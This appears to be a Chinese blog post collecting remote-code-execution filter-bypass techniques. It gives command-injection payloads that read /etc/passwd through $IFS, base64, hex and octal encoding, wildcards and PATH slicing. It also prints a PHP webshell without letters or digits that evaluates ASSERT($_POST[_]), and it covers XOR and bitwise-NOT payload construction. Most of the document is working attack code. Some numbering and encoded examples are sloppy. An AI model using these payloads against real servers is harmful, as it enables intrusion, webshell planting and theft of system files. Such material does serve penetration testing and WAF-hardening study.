总结rce(远程代码执行各种sao姿势)绕过bypass
空格绕过:在bash下可以用$IFS、${IFS}、$IFS$9、%09、<、>、<>、{,}(例如{cat,/etc/passwd} )、%20(space)、%09(tab),这儿跟sql注入有点相似,用/**/注释也能绕过。命令执行函数system()绕过(在URL请求中过滤system()函数)系统命令函数system() passthru() exec() she
空格绕过:
在bash下可以用$IFS、${IFS}、$IFS$9、%09、<、>、<>、{,}(例如{cat,/etc/passwd} )、%20(space)、%09(tab),这儿跟sql注入有点相似,用/**/注释也能绕过。
命令执行函数system()绕过(在URL请求中过滤system()函数)
系统命令函数system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号(·) 同shell_exec()用以上函数都可进行绕过。
命令连接符:
Windows
和Linux都支持的命令连接符:
cmd1 | cmd2
只执行cmd2
cmd1 || cmd2
只有当cmd1执行失败后,cmd2才被执行
cmd1 & cmd2
先执行cmd1,不管是否成功,都会执行cmd2
cmd1 && cmd2
先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2
Linux
还支持分号(;),cmd1;cmd2 按顺序依次执行,先执行cmd1再执行cmd2
正则匹配绕过
1) 利用变量绕过
a=c;b=a;c=t;
$a$b$c /etc/passwd
2) 利用base编码绕过
echo 'cat' | base64
Y2F0wqAK
`echo 'Y2F0wqAK' | base64 -d` /etc/passwd
echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash// cat /etc/passwd
3) 利用hex编码(十六进制)绕过
echo "636174202F6574632F706173737764" | xxd -r -p|bash// hex编码后的0x不需要输入。
4) 利用oct编码(八进制)绕过
$(printf "\154\163")//ls命令
5)利用16进制编码绕过
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
5) 利用拼接绕过
(sy.(st).em)(whoami);//
c''a''t /etc/passwd//单引
c""a""t /etc/passwd//双引
c``a``t /etc/passwd/反单引
c\a\t /etc/passwd//反斜线
$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi
666`whoami`666 //bash: 666root666: command not found
666`\whoami`666 //bash: 666root666: command not found
//命令执行后的结果在2个666中间
插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)
system/*A10ng_*/(whoami);
system/*A10ng_*/(wh./*A10ng_*/(oa)/*caixukun*/.mi);
(sy./*A10ng_*/(st)/*A10ng_*/.em)/*A10ng_*/(wh./*A10ng_*/(oa)/*A10ng_*/.mi);
6) 利用未初始化变量
cat$u /etc/passwd
7) 利用未初始化变量,使用$u绕过
cat /etc$u/passwd
8)过滤了斜杠‘/’
可利用';'拼接命令绕过
cd ..;cd ..;cd ..;cd ..;cd etc;cat passwd
1)
9)利用通配符绕过:
列如cat /passwd:
??? /e??/?a????
cat /e*/pa*
10)glob通配符:
在glob里
“ [A-Fa-f0-9] ”相当于 " [ABCDEFabcdef0123456789] ".)
“ [-%] ”代表“ [!”#$%] ”而“ [az] ”代表“任何 小写字母”
利用[@-[]
来表示大写字母:
-
[...]表示匹配方括号之中的任意一个字符
-
{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
-
{...}与[...]有一个重要的区别,当匹配的文件不存在,[...]会失去模式的功能,变成一个单纯的字符串,而{...}依然可以展开
cat t[a-z]st
cat t{a,b,c,d,e,f}st
利用PATH绕过
可以通过截断和拼接来得到我们想要的来getshell
${PATH:5:1} //l
${PATH:2:1} //s
${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令
${PATH:5:1}s //拼接后是ls,执行命令
自增绕过:
'a'++ => 'b'
,'b'++ => 'c'
... 所以,我们只要能拿到一个变量,其值为a
,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串'a'的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
例如:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
异或绕过
def xor():
for i in range(0,128):
for j in range(0,128):
result=i^j
print(chr(i)+' ^ '+chr(j)+' == > '+chr(result)+" ASCII:"+str(result))
if __name__ == "__main__":
xor()
先利用脚本将异或的组合列出来
然后将需要的命令拼接出来。
列如:phpinfo()
其中'G'^'7'=p,'G'^'/'=h…………依次类推拼出你想得到的命令。
在有时候,字母和输入全被过滤掉的时候,可以用不可打印字符来进行命令执行。可以稍微改一下上边的脚本,将字符url编码之后再输出,这时候就能绕过去了。
取反绕过
取反跟异或原理上差不多,唯一不同的是运算的逻辑不一样,当然这跟我们半毛钱关系都没有,我们也不需要手算,我就是纯属凑个字数。
这个非常简单,就是把命令先取反,然后在上传的时候,加一个取反符号‘~’,再在服务器上进行一次取反运算,
<?php
echo urlencode(~'phpinfo');
?>
得到取反的结果:%8F%97%8F%96%91%99%90
例如phpinfo()就是:
(~'%8F%97%8F%96%91%99%90')();
参考博客:
https://man7.org/linux/man-pages/man7/glob.7.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://cloud.tencent.com/developer/article/1599149
https://www.cnblogs.com/NPFS/p/13279815.html
https://blog.csdn.net/weixin_39877898/article/details/112198269
更多推荐
所有评论(0)